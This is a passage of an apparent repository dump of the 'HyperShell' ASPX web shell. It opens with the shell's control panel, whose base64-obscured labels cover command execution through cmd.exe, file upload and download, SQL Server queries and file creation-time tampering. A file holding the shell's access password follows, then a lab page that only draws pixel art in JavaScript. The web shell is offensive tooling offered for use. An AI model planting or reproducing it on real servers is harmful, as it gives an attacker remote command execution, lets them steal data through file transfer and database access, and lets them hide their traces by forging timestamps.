style=\"float:right\">v5.0</div>\r\n</td>\r\n</tr>\r\n</table>\r\n<hr>\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"TG9naW4=\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"RG8gaXQ=\")%> :</t>\r\n<input name=\"p\" class=\"mmm\" type=\"text\" style='background-color: <%= aut ? \"Green\" : \"Red\" %>' />\r\n<input type=\"submit\" value=\"<%= x(\"RG8gaXQ=\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr>\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"Q29tbWFuZA==\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"UHJvY2Vzcw==\")%> :</t>\r\n<input name=\"pro\" class=\"mmm\" type=\"text\" value='<%= string.IsNullOrEmpty(pro) ? x(\"Y21kLmV4ZQ==\") : pro %>' /><br>\r\n<t><%=x(\"Q29tbWFuZA==\")%> :</t>\r\n<input name=\"cmd\" class=\"mmm\" type=\"text\" value='<%= cmd %>' />\r\n<input type=\"submit\" value=\"<%= x(\"RXhlY3V0ZQ==\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr>\r\n<form method=\"post\" enctype=\"multipart/form-data\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"VXBsb2Fk\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"RmlsZSBuYW1l\")%> :</t>\r\n<input name=\"upl\" type=\"file\" /><br>\r\n<t><%=x(\"U2F2ZSBhcw==\")%> :</t>\r\n<input name=\"sav\" class=\"mmm\" type=\"text\" value='<%= sav %>' />\r\n<input name=\"vir\" type=\"checkbox\" /><g><%=x(\"SXMgdmlydHVhbCBwYXRo\")%></g><br>\r\n<t><%=x(\"TmV3IEZpbGUgbmFtZQ==\")%> :</t>\r\n<input name=\"nen\" class=\"mmm\" type=\"text\" value='<%= nen %>' />\r\n<input type=\"submit\" value=\"<%= x(\"VXBsb2Fk\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr>\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"RG93bmxvYWQ=\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"RmlsZSBuYW1l\")%> :</t>\r\n<input name=\"don\" type=\"text\" />\r\n<input type=\"submit\" value=\"<%= x(\"RG93bmxvYWQ=\") %>\" onclick=\"document.getElementsByName('don')[0].value = btoa(document.getElementsByName('don')[0].value);\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr />\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"VXBsb2FkIEJhc2U2NA==\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"QmFzZTY0IEZpbGU=\")%> :</t>\r\n<textarea name=\"baseFile\"></textarea>\r\n<input name=\"baseVir\" type=\"checkbox\" /><g><%=x(\"SXMgdmlydHVhbCBwYXRo\")%></g><br>\r\n<t><%=x(\"RmlsZSBQYXRoIGFuZCBOYW1l \")%> :</t>\r\n<input name=\"baseAddr\" class=\"mmm\" type=\"text\" value='<%= baseAddr %>' />\r\n<input type=\"submit\" value=\"<%= x(\"VXBsb2Fk\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr />\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"U3FsIFNlcnZlcg==\")%></td>\r\n<td class=\"b\">\r\n<input style=\"margin:0 0 3px 192px\" type=\"button\" value=\"<%=x(\"U3RhbmRhcmQgQ29ubmVjdGlvbiBTYW1wbGU=\")%>\" onclick=\"document.getElementsByName('sqc')[0].value = '<%=x(\"U2VydmVyPS47RGF0YWJhc2U9ZGI7VXNlciBJZD11c2VyO1Bhc3N3b3JkPXBhc3M=\")%>    '\" />\r\n<input style=\"margin:0 0 3px 0\" type=\"button\" value=\"<%=x(\"VHJ1c3RlZCBDb25uZWN0aW4gU2FtcGxl\")%>\" onclick=\"document.getElementsByName('sqc')[0].value = '<%=x(\"U2VydmVyPS47RGF0YWJhc2U9ZGI7VHJ1c3RlZF9Db25uZWN0aW9uPVRydWU=\")%>    '\" /><br />\r\n<t><%=x(\"Q29ubmVjdGlvbiBTdHJpbmc=\")%> :</t>\r\n<input name=\"sqc\" class=\"mmm\" type=\"text\" value='<%= sqc %>' /><br />\r\n<t><%=x(\"UXVlcnk=\")%> :</t>\r\n<textarea name=\"sqq\" class=\"mmm\"><%= sqq %></textarea>\r\n<input type=\"submit\" value=\"<%= x(\"UnVu\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr />\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"Q2hhbmdlIENyZWF0aW9uIFRpbWU=\")%></td>\r\n<td class=\"b\">\r\n<input name=\"hid\" type=\"hidden\" />\r\n<t><%=x(\"RmlsZSBuYW1l\")%> :</t>\r\n<input name=\"tfil\" class=\"mmm\" type=\"text\" value='<%= tfil %>' />\r\n<input type=\"submit\" value=\"<%= x(\"R2V0\") %>\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '1'\" /><br>\r\n<t><%=x(\"RnJvbSBUaGlzIEZpbGU=\")%> :</t>\r\n<input name=\"ttar\" class=\"mmm\" type=\"text\" value='<%= ttar %>' />\r\n<input type=\"submit\" value=\"<%= x(\"U2V0\") %>\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '2'\" /><br>\r\n<t><%=x(\"TmV3IFRpbWU=\")%> :</t>\r\n<input name=\"ttim\" class=\"mmm\" type=\"text\" value='<%= ttim %>' />\r\n<input type=\"submit\" value=\"<%= x(\"U2V0\") %>\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '3'\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr />\r\n<br />\r\n<pre id=\"log\" runat=\"server\"></pre>\r\n<script>var ll=document.getElementById('log');if(ll.innerHTML)ll.innerHTML=atob(log.innerHTML);</script>\r\n</div>\r\n<div id=\"tbDir\" class=\"tb\">\r\n    <table>\r\n    <tr>\r\n    <td class=\"h\">Explorer</td>\r\n    <td class=\"b\">\r\n    <t>Address :</t>\r\n    <input name=\"exadd\" class=\"mmm\" type=\"text\" value='<%= exadd %>' onkeypress=\"return checkEnter(event);\" />\r\n    <input type=\"submit\" value=\"Explore\" onclick=\"sendAddress();\" style=\"margin-right:5px;\" />\r\n    <span id=\"loader\" class=\"loader\" style=\"display:none\"></span>\r\n    </td>\r\n    </tr>\r\n    </table>\r\n    <hr />\r\n    <div id=\"objLocation\">\r\n        <div class=\"objS\">Location :</div><div class=\"objD objL\" onclick=\"setAddress(this.innerText);\">root</div>\r\n    </div>\r\n    <div id=\"objFrame\">\r\n    </div>\r\n</div>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/HighShellPass.txt",
    "content": "Th!sN0tF0rFAN"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Lab/PicMaker.aspx",
    "content": "﻿<%@ Page Language=\"C#\" AutoEventWireup=\"true\" CodeBehind=\"PicMaker.aspx.cs\" Inherits=\"HyperShell.Shell.PicMaker\" %>\r\n\r\n<!DOCTYPE html>\r\n\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head runat=\"server\">\r\n    <title></title>\r\n    <style>\r\n        body{background-color:#7b7b7b}\r\n        .LeftPanel{height:100%;width:50%;float:left}\r\n        .RightPanel{height:100%;width:50%;float:right}\r\n        .Maker{position:relative;float:left}\r\n        .Maker div{position:absolute;width:3px;height:3px}\r\n        ._s1g{background-color:#ffd700}\r\n        ._s2g{background-color:#d8b600}\r\n        ._s3g{background-color:#ffe662}\r\n        ._s7g{background-color:#ff2c53}\r\n        ._s0{background-color:#e0e0e0}\r\n        ._s1{background-color:#a0c0e0}\r\n        ._s2{background-color:#80a0e0}\r\n        ._s3{background-color:#c0e0e0}\r\n        ._s4{background-color:#a06040}\r\n        ._s5{background-color:#e0a080}\r\n        ._s6{background-color:#a0a0c0}\r\n        ._s7{background-color:#008000}\r\n        ._s8{background-color:#606080}\r\n        ._s9{background-color:#202020}\r\n        ._s10{background-color:#c0c0e0}\r\n        ._s11{background-color:#800000}\r\n        ._s12{background-color:#e00000}\r\n\r\n        ._b0{background-color:#000}\r\n        ._b2{background-color:#c1b126}\r\n        ._b3{background-color:#f1fa53}\r\n        ._b4{background-color:#fefcff}\r\n        ._b5{background-color:#41e5e6}\r\n        ._b6{background-color:#05aaea}\r\n        ._b7{background-color:#1565d6}\r\n\r\n        #BillCypher{\r\nwidth: 701px;\r\nheight: 701px;\r\nborder-top: 1px solid;\r\nborder-left: 1px solid;\r\nposition: absolute;\r\nleft: 25px;\r\ntop: 47px;\r\n        }\r\n        #BillCypher div{\r\n            position:absolute;width:10px;height:10px;\r\n                border-right: 1px solid;\r\n    border-bottom: 1px solid;\r\n        }\r\n\r\n        #color {\r\n        }\r\n\r\n        #result {\r\n            position: absolute;\r\n    left: 788px;\r\n    top: 247px;\r\n        }\r\n    </style>\r\n    <script>\r\n        \r\n            //var colorNum = ['e0e0e0', 'a0c0e0', '80a0e0', 'c0e0e0', 'a06040', 'e0a080', 'a0a0c0', '008000', '606080', '202020', 'c0c0e0', '800000', 'e00000'];\r\n            var a = -1;\r\n            var color = [\r\n            //   0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 2, 1, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a], // 0\r\n                [a, a, 1, 1, 1, 1, 1, 1, 1, a, a, a, a, a, a, a, a, a, a, a, a, a, 2, 3, a, a, a, a, a, a, a, a, a, a, a, a, a, a], // 1\r\n                [a, a, a, a, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, a, a, a, a, a, a, a, 2, 1, 3, a, a, a, a, a, a, a, a, a, a, a, a, a], // 2\r\n                [a, a, a, a, a, a, 1, 1, 1, 1, 3, 3, 3, 3, 1, 1, 1, a, a, a, a, a, a, 2, 1, 3, a, a, a, a, a, a, a, a, a, a, a, a], // 3\r\n                [a, a, a, a, a, a, a, a, 2, 1, 1, 1, 3, 3, 3, 3, 3, 1, 1, 1, a, a, a, 2, 2, 1, 3, a, a, a, a, a, a, a, a, a, a, a], // 4\r\n                [a, a, a, a, a, a, a, a, a, 2, 2, 1, 1, 1, 3, 3, 3, 3, 3, 1, 1, a, a, 2, 2, 2, 1, 3, a, a, a, a, a, a, a, a, a, a], // 5\r\n                [1, 1, 1, 1, 1, a, a, a, a, a, 2, 2, 2, 1, 1, 1, 3, 3, 3, 3, 3, 1, 2, 2, 2, 2, 1, 3, a, a, a, a, a, a, a, a, a, a], // 6\r\n                [a, 2, 1, 3, 3, 1, 1, 1, a, a, a, 2, 2, 2, 1, 1, 1, 3, 3, 3, 3, 1, 1, 2, 2, 2, 2, 1, a, a, a, a, a, a, a, a, a, a], // 7\r\n                [a, a, 2, 1, 3, 3, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 1, 3, 3, 3, 3, 1, 2, 2, 2, 3, 1, a, a, a, a, a, a, a, a, a], // 8\r\n                [a, a, a, 2, 1, 3, 3, 3, 3, 1, 1, 1, 1, 2, 2, 5, 5, 2, 1, 2, 1, 1, 1, 1, 1, 2, 2, 3, 1, a, a, a, a, a, a, a, a, a], // 9\r\n                [a, a, a, a, 2, 1, 1, 3, 3, 3, 3, 1, 1, 2, 2, 2, 5, 5, 5, 2, 2, 1, 3, 1, 1, 1, 2, 1, 1, a, a, a, a, a, a, a, a, a], // 10\r\n                [a, a, a, a, 2, 2, 1, 1, 1, 3, 3, 3, 1, 2, 1, 2, 4, 5, 5, 5, 1, 1, 1, 3, 3, 1, 1, 1, 1, a, a, a, a, a, a, a, a, a], // 11\r\n                [a, a, a, a, a, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 4, 1, 1, 3, 3, 3, 3, 3, 3, 1, 1, 2, a, a, a, a, a, a, a, a, a], // 12\r\n                [2, 2, 1, 1, a, a, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 3, 3, 3, 1, 3, 3, 3, 3, 1, 1, a, a, a, a, a, a, a, a, a], // 13\r\n                [a, 2, 2, 1, 1, 1, a, 2, 2, 2, 2, 2, 1, 1, 1, 3, 3, 3, 3, 3, 2, 2, 1, 1, 3, 3, 3, 3, 1, a, a, a, a, a, a, a, a, a], // 14\r\n                [a, a, 2, 2, 1, 3, 3, 1, 1, 1, 1, 1, 1, 1, 1, 3, 0, 3, 1, 2, 6, 6, 2, 1, 1, 3, 3, 1, 2, a, a, a, a, a, a, a, a, a], // 15\r\n                [a, a, a, 2, 2, 1, 3, 3, 3, 1, 1, 1, 1, 1, 1, 1, 3, 1, 1, 2, 6, 0, 6, 2, 2, 1, 1, 2, 6, a, a, a, a, a, a, a, a, a], // 16\r\n                [a, a, a, 2, 2, 2, 1, 3, 3, 3, 3, 3, 3, 1, 1, 1, 1, 1, 1, 2, 6, 0, 0, 6, 6, 2, 2, 2, 6, a, a, a, a, a, a, a, a, a], // 17\r\n                [a, a, a, a, 2, 2, 2, 1, 1, 3, 3, 3, 3, 3, 3, 1, 1, 1, 1, 1, 1, 0, 0, 0, 6, 7, 0, 7, 6, a, a, a, a, a, a, a, a, a], // 18\r\n                [a, a, a, a, a, 2, 2, 2, 1, 1, 1, 1, 1, 1, 2, 1, 4, 4, 4, 1, 3, 3, 0, 0, 6, 7, 0, 7, 6, a, a, a, a, a, a, a, a, a], // 19\r\n                [a, a, a, a, a, a, a, 2, 2, 2, 1, 1, 1, 1, 2, 2, 4, 5, 5, 5, 5, 6, 6, 0, 0, 0, 4, 6, 9, 9, a, a, a, a, a, a, a, a], // 20\r\n                [a, a, a, a, a, a, a, a, a, 2, 2, 1, 1, 2, 1, 2, 2, 2, 4, 5, 3, 5, 5, 5, 6, 6, 5, 5, 9, 9, 8, a, a, a, a, a, a, a], // 21\r\n                [a, a, a, a, a, a, a, a, a, a, 2, 2, 2, 2, 2, 2, 2, 2, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, a, a, a, a, a, a, a, a, a], // 22\r\n                [a, a, a, a, a, a, a, a, a, a, a, 2, 2, 2, 2, 2, 2, 2, 2, 4, 4, 5, 5, 5, 5, 5, 4, 4, 8, a, a, a, a, a, a, a, a, a], // 23\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, 2, 2, 1, 1, 2, 2, 2, 4, 4, 4, 4, 4, 2, 2, 2, 8, 6, 8, a, a, a, a, a, a], // 24\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, 2, 2, 2, 2, 2, 1, 4, 5, 4, 4, 4, 6, 6, 6, 6, 2, 8,10, 6, 6, 8, a, a, a, a, a], // 25\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, 2, 2, 2, 2, 2, 4, 4, 5, 5, 6, 0, 0, 0, 0, 0, 8,10,10, 6, 6, 8, a, a, a, a], // 26\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, 2, 2, 2, 2, 2, 4, 4, 6, 0, 0, 8, 0, 0, 0, 0, 8, 0,10, 6, 8, a, a, a, a], // 27\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, 2, 2, 2, 2, 2, 2, 2, 2, 4, 8, 6, 6, 0, 0, 8, 0, 6, 8,10,10, 6, 8, a, a, a, a], // 28\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, 2, 2, 2, 2, 2, 2, 2, 4, 4, 8, 8, 8, 6, 0, 6, 8, 8, 8, 8, 6, 8, a, a, a, a], // 29\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 2, 2, 2, 2, 2, 2, 4, 4, 4, 8, 6, 6, 8, 8, 4, 4, a, a, a, a, a, a, a], // 30\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 2, 2, 2, 2, 2, 1, 1, 1, 2, 8, 8, 8, 8, a, a, a, a, a, a, a, a, a, a], // 31\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 2, 2, 2, 1, 2, 1, 2, a, a, a, a, a, a, a, a, a, a, a, a, a], // 32\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 2, 1, a, 2, 1, 1, a, a, a, a, a, a, a, a, a, a, a, a], // 33\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 2, 1, a, a, 2, 1, a, a, a, a, a, a, a, a, a, a, a, a], // 34\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 2, 1, a, a, 2, 1, 1, a, a, a, a, a, a, a, a, a, a, a], // 35\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 8, 6, 2, 1, a, 8, 8, 2, 1, 6, a, a, a, a, a, a, a, a, a, a], // 36\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 8, 6, 6, 0, 0, 6, 8, 6, 0, 6, 8, a, a, a, a, a, a, a, a, a, a], // 37\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 8, 8, 8, 6, 6, 8, 8, 8, 8, 6, 6, 8, a, a, a, a, a, a, a, a, a], // 38\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 9,11,12,12,11, 9, 8, 8, 6, 6, 8,11,12,12, a, a, a, a, a, a, a], // 39\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 9,11, 6, 0, 0, 0, 0, 9,11,11,11,11,12,12,10, 0, 0,12, a, a, a, a], // 40\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 9, 6,12,12,12,12,11, 6,11,11,11,11,11, 6, 6,10,12,12, 0,12, a, a], // 41\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 9,11,11,12,12, 0,12,11, 9,11,11,11, 8, 8, 6,11,12,12,12,12,12, a], // 42\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 9,11,11,11,12,12,12,11, 9,11,11,11, 8, 8, 8,11,11,11,11,12,12,12], // 43\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9]  // 44\r\n            ];\r\n\r\n            var colorBill = [\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 0, 0, 0, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 0, 0, 0, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 0, 0, 0, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 0, 0, 0, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 0, 0, 0, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 0, 0, 0, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, 7, a, a, a, a, a, a, a, a, a, a, a, a, 0, 0, 0, 0, 0, 0, 0, a, a, a, a, a, a, a, a, a, a, a, a, 7, a, a, a, a, a],\r\n                [a, a, a, a, 7, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 7, a, a, a, a],\r\n                [a, a, a, 7, 7, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 2, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 7, 7, a, a, a],\r\n                [a, a, a, 7, 7, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 2, 3, 2, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 7, 7, a, a, a],\r\n                [7, a, a, 7, 7, 7, a, a, a, a, a, a, a, a, a, a, a, a, a, 2, 3, 3, 3, 2, a, a, a, a, a, a, a, a, a, a, a, a, a, 7, 7, 7, a, a, 7],\r\n                [7, a, 7, 7, 7, 6, 6, a, a, a, a, a, a, a, a, a, a, a, a, 2, 3, 3, 3, 2, a, a, a, a, a, a, a, a, a, a, a, a, 6, 6, 7, 7, 7, a, 7],\r\n                [a, 5, 6, 6, 6, 6, 5, a, a, a, a, a, a, a, a, a, a, a, 2, 3, 3, 3, 3, 3, 2, a, a, a, a, a, a, a, a, a, a, a, 5, 6, 6, 6, 6, 5, a],\r\n                [a, 5, 5, 6, 6, 5, 5, a, a, a, a, a, a, a, a, a, a, a, 2, 3, 3, 3, 3, 3, 2, a, a, a, a, a, a, a, a, a, a, a, 5, 5, 6, 6, 5, 5, a],\r\n                [a, 5, 5, 5, 5, 5, 5, a, a, a, a, a, a, a, a, a, a, 2, 3, 3, 3, 3, 3, 3, 3, 2, a, a, a, a, a, a, a, a, a, a, 5, 5, 5, 5, 5, 5, a],\r\n                [a, a, 5, 5, 5, 5, a, a, a, a, a, a, a, a, a, a, 2, 3, 3, 3, 2, 3, 3, 2, 3, 3, 2, a, a, a, a, a, a, a, a, a, a, 5, 5, 5, 5, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 2, 2, 3, 2, 2, 2, 2, 2, 3, 2, 2, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, 0, a, a, a, 0, a, a, a, a, a, a, a, a, 2, 3, 3, 2, 4, 4, 4, 0, 0, 2, 3, 3, 2, a, a, a, a, a, a, a, a, 0, a, a, a, 0, a, a],\r\n                [a, a, a, 0, 0, 0, a, a, a, a, a, a, a, a, 2, 3, 3, 2, 4, 4, 4, 4, 0, 0, 4, 2, 3, 3, 2, a, a, a, a, a, a, a, a, 0, 0, 0, a, a, a],\r\n                [a, a, 0, 0, 0, 0, 0, a, a, a, a, a, a, a, 2, 3, 2, 4, 4, 4, 4, 4, 0, 0, 4, 4, 2, 3, 2, a, a, a, a, a, a, a, 0, 0, 0, 0, 0, a, a],\r\n                [a, a, a, a, a, a, 0, a, a, a, a, a, a, 2, 3, 3, 2, 4, 4, 4, 4, 4, 0, 0, 4, 4, 2, 3, 3, 2, a, a, a, a, a, a, 0, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, 0, a, a, a, a, a, 2, 3, 3, 2, 4, 4, 4, 4, 4, 0, 0, 4, 4, 2, 3, 3, 2, a, a, a, a, a, 0, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, 0, a, a, a, a, 2, 3, 3, 3, 3, 2, 4, 4, 4, 4, 4, 4, 4, 2, 3, 3, 3, 3, 2, a, a, a, a, 0, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, 0, 0, 0, 2, 3, 3, 3, 3, 3, 3, 2, 4, 4, 4, 4, 4, 2, 3, 3, 3, 3, 3, 3, 2, 0, 0, 0, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, a, 2, 3, 3, 3, 3, 3, 2, 3, 2, 2, 2, 2, 2, 3, 2, 3, 3, 3, 3, 3, 2, a, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 3, 3, 2, 3, 3, 3, 3, 3, 3, 3, 3, 2, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, 2, 3, 2, 3, 3, 3, 3, 3, 3, 2, 3, 0, 0, 3, 0, 0, 3, 2, 3, 3, 3, 3, 3, 3, 2, 3, 2, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, 2, 3, 2, 3, 3, 3, 3, 3, 3, 2, 3, 0, 0, 0, 0, 0, 3, 2, 3, 3, 3, 3, 3, 3, 2, 3, 2, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 2, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, 2, 3, 3, 3, 3, 3, 3, 2, 3, 3, 3, 3, 3, 0, 3, 2, 3, 0, 3, 3, 3, 3, 3, 2, 3, 3, 3, 3, 3, 3, 2, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, 2, 3, 3, 3, 3, 3, 3, 2, 3, 3, 3, 3, 3, 3, 3, 2, 3, 3, 3, 3, 3, 3, 3, 2, 3, 3, 3, 3, 3, 3, 2, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 0, a, a, a, a, a, a, a, a, a, 0, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 0, a, a, a, a, a, a, a, a, a, a, a, 0, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 0, a, a, a, a, a, a, a, a, a, a, a, 0, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 0, a, a, a, a, a, a, a, a, a, a, a, 0, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 0, a, a, a, a, a, a, a, a, a, 0, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 0, 0, a, a, a, a, a, 0, 0, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 0, 0, a, a, a, a, a, 0, 0, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 0, 0, a, a, a, a, a, 0, 0, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a],\r\n                [a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, 0, a, a, a, a, a, 0, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a]\r\n            ];\r\n\r\n        var size = 3;\r\n        var heightBlock = color.length;\r\n        var withBlock = color[0].length;\r\n        function hyperSonic(id)\r\n        {\r\n            \r\n            var maker = document.getElementById(id);\r\n            maker.style.width = (size * withBlock) + \"px\";\r\n            maker.style.height = (size * heightBlock) + \"px\";\r\n\r\n            for (var i = 0; i < heightBlock; i++) {\r\n                for (var j = 0; j < withBlock; j++) {\r\n                    if (color[i][j] != -1) {\r\n                        var temp = document.createElement(\"div\");\r\n                        //temp.style.backgroundColor = '#' + colorNum[color[i][j]];\r\n                        temp.style.top = (i * size) + \"px\";\r\n                        temp.style.left = (j * size) + \"px\";\r\n                        temp.className = '_' + color[i][j];\r\n                        temp.id = i + \"-\" + j;\r\n                        //if (color[i][j] < 4 && color[i][j] > 0)\r\n                        //    temp.className += g;\r\n                        maker.appendChild(temp);\r\n                    }\r\n                }\r\n            }\r\n\r\n            if (g == 'g')\r\n            {\r\n                document.getElementsByTagName('body')[0].style.backgroundColor = 'white';\r\n                setTimeout(DoG, 1500);\r\n            }\r\n\r\n            setTimeout(animeFunc, 3000);\r\n        }\r\n\r\n        function pixDraw(elID, colorMatrix, colorPerfix)\r\n        {\r\n            var blockH = colorMatrix.length;\r\n            var blockW = colorMatrix[0].length;\r\n\r\n            var maker = document.getElementById(elID);\r\n            maker.style.width = (size * blockW) + \"px\";\r\n            maker.style.height = (size * blockH) + \"px\";\r\n\r\n            for (var i = 0; i < blockH; i++) {\r\n                for (var j = 0; j < blockW; j++) {\r\n                    if (colorMatrix[i][j] != -1) {\r\n                        var temp = document.createElement(\"div\");\r\n                        //temp.style.backgroundColor = '#' + colorNum[color[i][j]];\r\n                        temp.style.top = (i * size) + \"px\";\r\n                        temp.style.left = (j * size) + \"px\";\r\n                        